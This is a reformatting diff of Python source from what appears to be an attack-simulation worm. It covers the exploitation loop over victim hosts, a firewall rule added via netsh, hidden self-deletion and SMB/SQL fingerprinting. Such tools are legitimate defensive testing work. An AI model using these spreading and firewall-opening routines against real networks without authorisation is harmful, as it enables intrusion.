self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value
self._exploiters, key=lambda exploiter_:exploiter_.EXPLOIT_TYPE.value
)
host_exploited = False
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
@ -227,7 +228,8 @@ class InfectionMonkey(object):
host_exploited = True
VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send()
if exploiter.RUNS_AGENT_ON_SUCCESS:
break # if adding machine to exploited, won't try other exploits on it
break # if adding machine to exploited, won't try other exploits
# on it
if not host_exploited:
self._fail_exploitation_machines.add(machine)
VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send()
@ -244,12 +246,14 @@ class InfectionMonkey(object):
elif not WormConfiguration.alive:
LOG.info("Marked not alive from configuration")
# if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
# if host was exploited, before continue to closing the tunnel ensure the exploited
# host had its chance to
# connect to the tunnel
if len(self._exploited_machines) > 0:
time_to_sleep = WormConfiguration.keep_tunnel_open_time
LOG.info(
"Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep
"Sleeping %d seconds for exploited machines to connect to tunnel",
time_to_sleep
)
time.sleep(time_to_sleep)
@ -261,7 +265,8 @@ class InfectionMonkey(object):
except PlannedShutdownException:
LOG.info(
"A planned shutdown of the Monkey occurred. Logging the reason and finishing execution."
"A planned shutdown of the Monkey occurred. Logging the reason and finishing "
"execution."
)
LOG.exception("Planned shutdown, reason:")
@ -306,7 +311,7 @@ class InfectionMonkey(object):
firewall.close()
else:
StateTelem(
is_done=True, version=get_version()
is_done=True, version=get_version()
).send() # Signal the server (before closing the tunnel)
InfectionMonkey.close_tunnel()
firewall.close()
@ -341,12 +346,12 @@ class InfectionMonkey(object):
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_HIDE
subprocess.Popen(
DELAY_DELETE_CMD % {"file_path": sys.executable},
stdin=None,
stdout=None,
stderr=None,
close_fds=True,
startupinfo=startupinfo,
DELAY_DELETE_CMD % {"file_path":sys.executable},
stdin=None,
stdout=None,
stderr=None,
close_fds=True,
startupinfo=startupinfo,
)
else:
os.remove(sys.executable)
@ -376,10 +381,10 @@ class InfectionMonkey(object):
"""
if not exploiter.is_os_supported():
LOG.info(
"Skipping exploiter %s host:%r, os %s is not supported",
exploiter.__class__.__name__,
machine,
machine.os,
"Skipping exploiter %s host:%r, os %s is not supported",
exploiter.__class__.__name__,
machine,
machine.os,
)
return False
@ -393,30 +398,31 @@ class InfectionMonkey(object):
return True
else:
LOG.info(
"Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__
"Failed exploiting %r with exploiter %s", machine,
exploiter.__class__.__name__
)
except ExploitingVulnerableMachineError as exc:
LOG.error(
"Exception while attacking %s using %s: %s",
machine,
exploiter.__class__.__name__,
exc,
"Exception while attacking %s using %s: %s",
machine,
exploiter.__class__.__name__,
exc,
)
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
return True
except FailedExploitationError as e:
LOG.info(
"Failed exploiting %r with exploiter %s, %s",
machine,
exploiter.__class__.__name__,
e,
"Failed exploiting %r with exploiter %s, %s",
machine,
exploiter.__class__.__name__,
e,
)
except Exception as exc:
LOG.exception(
"Exception while attacking %s using %s: %s",
machine,
exploiter.__class__.__name__,
exc,
"Exception while attacking %s using %s: %s",
machine,
exploiter.__class__.__name__,
exc,
)
finally:
exploiter.send_exploit_telemetry(result)
@ -452,7 +458,8 @@ class InfectionMonkey(object):
"""
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
raise PlannedShutdownException(
"Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel)
"Monkey couldn't find server with {} default tunnel.".format(
self._default_tunnel)
)
self._default_server = WormConfiguration.current_server
LOG.debug("default server set to: %s" % self._default_server)

View File

@ -5,12 +5,12 @@ import sys
def _run_netsh_cmd(command, args):
cmd = subprocess.Popen(
"netsh %s %s"
% (
command,
" ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]),
),
stdout=subprocess.PIPE,
"netsh %s %s"
% (
command,
" ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]),
),
stdout=subprocess.PIPE,
)
return cmd.stdout.read().strip().lower().endswith("ok.")
@ -56,9 +56,9 @@ class WinAdvFirewall(FirewallApp):
return None
def add_firewall_rule(
self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs
self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs
):
netsh_args = {"name": name, "dir": direction, "action": action, "program": program}
netsh_args = {"name":name, "dir":direction, "action":action, "program":program}
netsh_args.update(kwargs)
try:
if _run_netsh_cmd("advfirewall firewall add rule", netsh_args):
@ -70,7 +70,7 @@ class WinAdvFirewall(FirewallApp):
return None
def remove_firewall_rule(self, name="Firewall", **kwargs):
netsh_args = {"name": name}
netsh_args = {"name":name}
netsh_args.update(kwargs)
try:
@ -89,10 +89,10 @@ class WinAdvFirewall(FirewallApp):
for rule in list(self._rules.values()):
if (
rule.get("program") == sys.executable
and "in" == rule.get("dir")
and "allow" == rule.get("action")
and 4 == len(list(rule.keys()))
rule.get("program") == sys.executable
and "in" == rule.get("dir")
and "allow" == rule.get("action")
and 4 == len(list(rule.keys()))
):
return True
return False
@ -125,14 +125,14 @@ class WinFirewall(FirewallApp):
return None
def add_firewall_rule(
self,
rule="allowedprogram",
name="Firewall",
mode="ENABLE",
program=sys.executable,
**kwargs,
self,
rule="allowedprogram",
name="Firewall",
mode="ENABLE",
program=sys.executable,
**kwargs,
):
netsh_args = {"name": name, "mode": mode, "program": program}
netsh_args = {"name":name, "mode":mode, "program":program}
netsh_args.update(kwargs)
try:
@ -146,14 +146,14 @@ class WinFirewall(FirewallApp):
return None
def remove_firewall_rule(
self,
rule="allowedprogram",
name="Firewall",
mode="ENABLE",
program=sys.executable,
**kwargs,
self,
rule="allowedprogram",
name="Firewall",
mode="ENABLE",
program=sys.executable,
**kwargs,
):
netsh_args = {"program": program}
netsh_args = {"program":program}
netsh_args.update(kwargs)
try:
if _run_netsh_cmd("firewall delete %s" % rule, netsh_args):

View File

@ -52,6 +52,7 @@ if is_windows_os():
local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2]
def get_routes():
raise NotImplementedError()
@ -59,10 +60,12 @@ if is_windows_os():
else:
from fcntl import ioctl
def local_ips():
valid_ips = [network["addr"] for network in get_host_subnets()]
return valid_ips
def get_routes(): # based on scapy implementation for route parsing
try:
f = open("/proc/net/route", "r")
@ -88,7 +91,8 @@ else:
continue
try:
ifreq = ioctl(s, SIOCGIFADDR, struct.pack("16s16x", iff))
except IOError: # interface is present in routing tables but does not have any assigned IP
except IOError: # interface is present in routing tables but does not have any
# assigned IP
ifaddr = "0.0.0.0"
else:
addrfamily = struct.unpack("h", ifreq[16:18])[0]
@ -97,13 +101,13 @@ else:
else:
continue
routes.append(
(
socket.htonl(int(dst, 16)) & 0xFFFFFFFF,
socket.htonl(int(msk, 16)) & 0xFFFFFFFF,
socket.inet_ntoa(struct.pack("I", int(gw, 16))),
iff,
ifaddr,
)
(
socket.htonl(int(dst, 16)) & 0xFFFFFFFF,
socket.htonl(int(msk, 16)) & 0xFFFFFFFF,
socket.inet_ntoa(struct.pack("I", int(gw, 16))),
iff,
ifaddr,
)
)
f.close()

View File

@ -49,29 +49,28 @@ class MSSQLFinger(HostFinger):
data, server = sock.recvfrom(self.BUFFER_SIZE)
except socket.timeout:
LOG.info(
"Socket timeout reached, maybe browser service on host: {0} doesnt exist".format(
host
)
"Socket timeout reached, maybe browser service on host: {0} doesnt "
"exist".format(host)
)
sock.close()
return False
except socket.error as e:
if e.errno == errno.ECONNRESET:
LOG.info(
"Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.".format(
host
)
"Connection was forcibly closed by the remote host. The host: {0} is "
"rejecting the packet.".format(host)
)
else:
LOG.error(
"An unknown socket error occurred while trying the mssql fingerprint, closing socket.",
exc_info=True,
"An unknown socket error occurred while trying the mssql fingerprint, "
"closing socket.",
exc_info=True,
)
sock.close()
return False
self.init_service(
host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT
host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT
)
# Loop through the server data
@ -82,7 +81,8 @@ class MSSQLFinger(HostFinger):
if len(instance_info) > 1:
host.services[self._SCANNED_SERVICE][instance_info[1]] = {}
for i in range(1, len(instance_info), 2):
# Each instance's info is nested under its own name, if there are multiple instances
# Each instance's info is nested under its own name, if there are multiple
# instances
# each will appear under its own name
host.services[self._SCANNED_SERVICE][instance_info[1]][
instance_info[i - 1]

View File

@ -49,7 +49,7 @@ class MySQLFinger(HostFinger):
return False
version, curpos = struct_unpack_tracker_string(
data, curpos
data, curpos
) # special coded to solve string parsing
version = version[0].decode()
self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)

View File

@ -44,23 +44,26 @@ class NetworkScanner(object):
def _get_inaccessible_subnets_ips(self):
"""
For each of the machine's IPs, checks if it's in one of the subnets specified in the
'inaccessible_subnets' config value. If so, all other subnets in the config value shouldn't be accessible.
'inaccessible_subnets' config value. If so, all other subnets in the config value
shouldn't be accessible.
All these subnets are returned.
:return: A list of subnets that shouldn't be accessible from the machine the monkey is running on.
:return: A list of subnets that shouldn't be accessible from the machine the monkey is
running on.
"""
subnets_to_scan = []
if len(WormConfiguration.inaccessible_subnets) > 1:
for subnet_str in WormConfiguration.inaccessible_subnets:
if NetworkScanner._is_any_ip_in_subnet(
[str(x) for x in self._ip_addresses], subnet_str
[str(x) for x in self._ip_addresses], subnet_str
):
# If machine has IPs from 2 different subnets in the same group, there's no point checking the other
# If machine has IPs from 2 different subnets in the same group, there's no
# point checking the other
# subnet.
for other_subnet_str in WormConfiguration.inaccessible_subnets:
if other_subnet_str == subnet_str:
continue
if not NetworkScanner._is_any_ip_in_subnet(
[str(x) for x in self._ip_addresses], other_subnet_str
[str(x) for x in self._ip_addresses], other_subnet_str
):
subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
break
@ -74,13 +77,16 @@ class NetworkScanner(object):
:param stop_callback: A callback to check at any point if we should stop scanning
:return: yields a sequence of VictimHost instances
"""
# We currently use the ITERATION_BLOCK_SIZE as the pool size, however, this may not be the best decision
# However, the decision what ITERATION_BLOCK_SIZE also requires balancing network usage (pps and bw)
# Because we are using this to spread out IO heavy tasks, we can probably go a lot higher than CPU core size
# We currently use the ITERATION_BLOCK_SIZE as the pool size, however, this may not be
# the best decision
# However, the decision what ITERATION_BLOCK_SIZE also requires balancing network usage (
# pps and bw)
# Because we are using this to spread out IO heavy tasks, we can probably go a lot higher
# than CPU core size
# But again, balance
pool = Pool(ITERATION_BLOCK_SIZE)
victim_generator = VictimHostGenerator(
self._ranges, WormConfiguration.blocked_ips, local_ips()
self._ranges, WormConfiguration.blocked_ips, local_ips()
)
victims_count = 0

View File

@ -34,9 +34,9 @@ class PingScanner(HostScanner, HostFinger):
timeout /= 1000
return 0 == subprocess.call(
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
stdout=self._devnull,
stderr=self._devnull,
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
stdout=self._devnull,
stderr=self._devnull,
)
def get_host_fingerprint(self, host):
@ -46,10 +46,10 @@ class PingScanner(HostScanner, HostFinger):
timeout /= 1000
sub_proc = subprocess.Popen(
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
output = " ".join(sub_proc.communicate())
@ -59,7 +59,8 @@ class PingScanner(HostScanner, HostFinger):
ttl = int(regex_result.group(0))
if ttl <= LINUX_TTL:
host.os["type"] = "linux"
else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up.
else: # as far we we know, could also be OSX/BSD but lets handle that when it
# comes up.
host.os["type"] = "windows"
host.icmp = True

View File

@ -17,32 +17,32 @@ class PostgreSQLFinger(HostFinger):
# Class related consts
_SCANNED_SERVICE = "PostgreSQL"
POSTGRESQL_DEFAULT_PORT = 5432
CREDS = {"username": ID_STRING, "password": ID_STRING}
CREDS = {"username":ID_STRING, "password":ID_STRING}
CONNECTION_DETAILS = {
"ssl_conf": "SSL is configured on the PostgreSQL server.\n",
"ssl_not_conf": "SSL is NOT configured on the PostgreSQL server.\n",
"all_ssl": "SSL connections can be made by all.\n",
"all_non_ssl": "Non-SSL connections can be made by all.\n",
"selected_ssl": "SSL connections can be made by selected hosts only OR "
"non-SSL usage is forced.\n",
"selected_non_ssl": "Non-SSL connections can be made by selected hosts only OR "
"SSL usage is forced.\n",
"only_selected": "Only selected hosts can make connections (SSL or non-SSL).\n",
"ssl_conf":"SSL is configured on the PostgreSQL server.\n",
"ssl_not_conf":"SSL is NOT configured on the PostgreSQL server.\n",
"all_ssl":"SSL connections can be made by all.\n",
"all_non_ssl":"Non-SSL connections can be made by all.\n",
"selected_ssl":"SSL connections can be made by selected hosts only OR "
"non-SSL usage is forced.\n",
"selected_non_ssl":"Non-SSL connections can be made by selected hosts only OR "
"SSL usage is forced.\n",
"only_selected":"Only selected hosts can make connections (SSL or non-SSL).\n",
}
RELEVANT_EX_SUBSTRINGS = {
"no_auth": "password authentication failed",
"no_entry": "entry for host", # "no pg_hba.conf entry for host" but filename may be diff
"no_auth":"password authentication failed",
"no_entry":"entry for host", # "no pg_hba.conf entry for host" but filename may be diff
}
def get_host_fingerprint(self, host):
try:
psycopg2.connect(
host=host.ip_addr,
port=self.POSTGRESQL_DEFAULT_PORT,
user=self.CREDS["username"],
password=self.CREDS["password"],
sslmode="prefer",
connect_timeout=MEDIUM_REQUEST_TIMEOUT,
host=host.ip_addr,
port=self.POSTGRESQL_DEFAULT_PORT,
user=self.CREDS["username"],
password=self.CREDS["password"],
sslmode="prefer",
connect_timeout=MEDIUM_REQUEST_TIMEOUT,
) # don't need to worry about DB name; creds are wrong, won't check
# if it comes here, the creds worked
@ -50,13 +50,15 @@ class PostgreSQLFinger(HostFinger):
# perhaps the service is a honeypot
self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT)
host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = (
"The PostgreSQL server was unexpectedly accessible with the credentials - "
+ f"user: '{self.CREDS['username']}' and password: '{self.CREDS['password']}'. Is this a honeypot?"
"The PostgreSQL server was unexpectedly accessible with the credentials - "
+ f"user: '{self.CREDS['username']}' and password: '"
f"{self.CREDS['password']}'. Is this a honeypot?"
)
return True
except psycopg2.OperationalError as ex:
# try block will throw an OperationalError since the credentials are wrong, which we then analyze
# try block will throw an OperationalError since the credentials are wrong, which we
# then analyze
try:
exception_string = str(ex)
@ -92,7 +94,7 @@ class PostgreSQLFinger(HostFinger):
self.get_connection_details_ssl_not_configured(exceptions)
host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = "".join(
self.ssl_connection_details
self.ssl_connection_details
)
@staticmethod
@ -120,7 +122,7 @@ class PostgreSQLFinger(HostFinger):
self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_non_ssl"])
else:
if (
ssl_selected_comms_only
ssl_selected_comms_only
): # if only selected SSL allowed and only selected non-SSL allowed
self.ssl_connection_details[-1] = self.CONNECTION_DETAILS["only_selected"]
else:

View File

@ -14,9 +14,9 @@ LOG = logging.getLogger(__name__)
class Packet:
fields = odict(
[
("data", ""),
]
[
("data", ""),
]
)
def __init__(self, **kw):
@ -38,20 +38,20 @@ class Packet:
# SMB Packets
class SMBHeader(Packet):
fields = odict(
[
("proto", b"\xff\x53\x4d\x42"),
("cmd", b"\x72"),
("errorcode", b"\x00\x00\x00\x00"),
("flag1", b"\x00"),
("flag2", b"\x00\x00"),
("pidhigh", b"\x00\x00"),
("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", b"\x00\x00"),
("tid", b"\x00\x00"),
("pid", b"\x00\x00"),
("uid", b"\x00\x00"),
("mid", b"\x00\x00"),
]
[
("proto", b"\xff\x53\x4d\x42"),
("cmd", b"\x72"),
("errorcode", b"\x00\x00\x00\x00"),
("flag1", b"\x00"),
("flag2", b"\x00\x00"),
("pidhigh", b"\x00\x00"),
("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", b"\x00\x00"),
("tid", b"\x00\x00"),
("pid", b"\x00\x00"),
("uid", b"\x00\x00"),
("mid", b"\x00\x00"),
]
)
@ -64,55 +64,63 @@ class SMBNego(Packet):
class SMBNegoFingerData(Packet):
fields = odict(
[
("separator1", b"\x02"),
(
"dialect1",
b"\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00",
),
("separator2", b"\x02"),
("dialect2", b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3", b"\x02"),
(
"dialect3",
b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00",
),
("separator4", b"\x02"),
("dialect4", b"\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5", b"\x02"),
("dialect5", b"\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6", b"\x02"),
("dialect6", b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
]
[
("separator1", b"\x02"),
(
"dialect1",
b"\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d"
b"\x20\x31\x2e\x30\x00",
),
("separator2", b"\x02"),
("dialect2", b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3", b"\x02"),
(
"dialect3",
b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72"
b"\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00",
),
("separator4", b"\x02"),
("dialect4", b"\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5", b"\x02"),
("dialect5", b"\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6", b"\x02"),
("dialect6", b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
]
)
class SMBSessionFingerData(Packet):
fields = odict(
[
("wordcount", b"\x0c"),
("AndXCommand", b"\xff"),
("reserved", b"\x00"),
("andxoffset", b"\x00\x00"),
("maxbuff", b"\x04\x11"),
("maxmpx", b"\x32\x00"),
("vcnum", b"\x00\x00"),
("sessionkey", b"\x00\x00\x00\x00"),
("securitybloblength", b"\x4a\x00"),
("reserved2", b"\x00\x00\x00\x00"),
("capabilities", b"\xd4\x00\x00\xa0"),
("bcc1", ""),
(
"Data",
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00",
),
]
[
("wordcount", b"\x0c"),
("AndXCommand", b"\xff"),
("reserved", b"\x00"),
("andxoffset", b"\x00\x00"),
("maxbuff", b"\x04\x11"),
("maxmpx", b"\x32\x00"),
("vcnum", b"\x00\x00"),
("sessionkey", b"\x00\x00\x00\x00"),
("securitybloblength", b"\x4a\x00"),
("reserved2", b"\x00\x00\x00\x00"),
("capabilities", b"\xd4\x00\x00\xa0"),
("bcc1", ""),
(
"Data",
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c"
b"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00"
b"\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f"
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53"
b"\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20"
b"\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
b"\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00",
),
]
)
def calculate(self):
@ -159,10 +167,10 @@ class SMBFinger(HostFinger):
if data[8:10] == b"\x73\x16":
length = struct.unpack("<H", data[43:45])[0]
os_version, service_client = tuple(
[
e.replace(b"\x00", b"").decode()
for e in data[47 + length :].split(b"\x00\x00\x00")[:2]
]
[
e.replace(b"\x00", b"").decode()
for e in data[47 + length:].split(b"\x00\x00\x00")[:2]
]
)
if os_version.lower() != "unix":

View File

@ -22,7 +22,8 @@ class TcpScanner(HostScanner, HostFinger):
def get_host_fingerprint(self, host, only_one_port=False):
"""
Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration.
Scans a target host to see if it's alive using the tcp_target_ports specified in the
configuration.
:param host: VictimHost structure
:param only_one_port: Currently unused.
:return: T/F if there is at least one open port.
@ -34,10 +35,10 @@ class TcpScanner(HostScanner, HostFinger):
shuffle(target_ports)
ports, banners = check_tcp_ports(
host.ip_addr,
target_ports,
self._config.tcp_scan_timeout / 1000.0,
self._config.tcp_scan_get_banner,
host.ip_addr,
target_ports,
self._config.tcp_scan_timeout / 1000.0,
self._config.tcp_scan_get_banner,
)
for target_port, banner in zip_longest(ports, banners, fillvalue=None):
service = tcp_port_to_service(target_port)

View File

@ -5,85 +5,85 @@ from infection_monkey.network.postgresql_finger import PostgreSQLFinger
IRRELEVANT_EXCEPTION_STRING = "This is an irrelevant exception string."
_RELEVANT_EXCEPTION_STRING_PARTS = {
"pwd_auth_failed": 'FATAL: password authentication failed for user "root"',
"ssl_on_entry_not_found": 'FATAL: no pg_hba.conf entry for host "127.0.0.1",'
'user "random", database "postgres", SSL on',
"ssl_off_entry_not_found": 'FATAL: no pg_hba.conf entry for host "127.0.0.1",'
'user "random", database "postgres", SSL off',
"pwd_auth_failed":'FATAL: password authentication failed for user "root"',
"ssl_on_entry_not_found":'FATAL: no pg_hba.conf entry for host "127.0.0.1",'
'user "random", database "postgres", SSL on',
"ssl_off_entry_not_found":'FATAL: no pg_hba.conf entry for host "127.0.0.1",'
'user "random", database "postgres", SSL off',
}
_RELEVANT_EXCEPTION_STRINGS = {
"pwd_auth_failed": _RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
"ssl_off_entry_not_found": _RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
"pwd_auth_failed_pwd_auth_failed": "\n".join(
[
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
]
"pwd_auth_failed":_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
"ssl_off_entry_not_found":_RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
"pwd_auth_failed_pwd_auth_failed":"\n".join(
[
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
]
),
"pwd_auth_failed_ssl_off_entry_not_found": "\n".join(
[
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
]
"pwd_auth_failed_ssl_off_entry_not_found":"\n".join(
[
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
]
),
"ssl_on_entry_not_found_pwd_auth_failed": "\n".join(
[
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"],
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
]
"ssl_on_entry_not_found_pwd_auth_failed":"\n".join(
[
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"],
_RELEVANT_EXCEPTION_STRING_PARTS["pwd_auth_failed"],
]
),
"ssl_on_entry_not_found_ssl_off_entry_not_found": "\n".join(
[
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"],
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
]
"ssl_on_entry_not_found_ssl_off_entry_not_found":"\n".join(
[
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_on_entry_not_found"],
_RELEVANT_EXCEPTION_STRING_PARTS["ssl_off_entry_not_found"],
]
),
}
_RESULT_STRINGS = {
"ssl_conf": "SSL is configured on the PostgreSQL server.\n",
"ssl_not_conf": "SSL is NOT configured on the PostgreSQL server.\n",
"all_ssl": "SSL connections can be made by all.\n",
"all_non_ssl": "Non-SSL connections can be made by all.\n",
"selected_ssl": "SSL connections can be made by selected hosts only OR "
"non-SSL usage is forced.\n",
"selected_non_ssl": "Non-SSL connections can be made by selected hosts only OR "
"SSL usage is forced.\n",
"only_selected": "Only selected hosts can make connections (SSL or non-SSL).\n",
"ssl_conf":"SSL is configured on the PostgreSQL server.\n",
"ssl_not_conf":"SSL is NOT configured on the PostgreSQL server.\n",
"all_ssl":"SSL connections can be made by all.\n",
"all_non_ssl":"Non-SSL connections can be made by all.\n",
"selected_ssl":"SSL connections can be made by selected hosts only OR "
"non-SSL usage is forced.\n",
"selected_non_ssl":"Non-SSL connections can be made by selected hosts only OR "
"SSL usage is forced.\n",
"only_selected":"Only selected hosts can make connections (SSL or non-SSL).\n",
}
RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS = {
# SSL not configured, all non-SSL allowed
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed"]: [
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed"]:[
_RESULT_STRINGS["ssl_not_conf"],
_RESULT_STRINGS["all_non_ssl"],
],
# SSL not configured, selected non-SSL allowed
_RELEVANT_EXCEPTION_STRINGS["ssl_off_entry_not_found"]: [
_RELEVANT_EXCEPTION_STRINGS["ssl_off_entry_not_found"]:[
_RESULT_STRINGS["ssl_not_conf"],
_RESULT_STRINGS["selected_non_ssl"],
],
# all SSL allowed, all non-SSL allowed
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_pwd_auth_failed"]: [
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_pwd_auth_failed"]:[
_RESULT_STRINGS["ssl_conf"],
_RESULT_STRINGS["all_ssl"],
_RESULT_STRINGS["all_non_ssl"],
],
# all SSL allowed, selected non-SSL allowed
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_ssl_off_entry_not_found"]: [
_RELEVANT_EXCEPTION_STRINGS["pwd_auth_failed_ssl_off_entry_not_found"]:[
_RESULT_STRINGS["ssl_conf"],
_RESULT_STRINGS["all_ssl"],
_RESULT_STRINGS["selected_non_ssl"],
],
# selected SSL allowed, all non-SSL allowed
_RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_pwd_auth_failed"]: [
_RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_pwd_auth_failed"]:[
_RESULT_STRINGS["ssl_conf"],
_RESULT_STRINGS["selected_ssl"],
_RESULT_STRINGS["all_non_ssl"],
],
# selected SSL allowed, selected non-SSL allowed
_RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_ssl_off_entry_not_found"]: [
_RELEVANT_EXCEPTION_STRINGS["ssl_on_entry_not_found_ssl_off_entry_not_found"]:[
_RESULT_STRINGS["ssl_conf"],
_RESULT_STRINGS["only_selected"],
],
@ -115,8 +115,8 @@ def test_exception_ssl_not_configured_all_non_ssl_allowed(mock_PostgreSQLFinger,
mock_PostgreSQLFinger.analyze_operational_error(host, exception)
assert host.services[mock_PostgreSQLFinger._SCANNED_SERVICE][
"communication_encryption_details"
] == "".join(RELEVANT_EXCEPTIONS_WITH_EXPECTED_RESULTS[exception])
"communication_encryption_details"
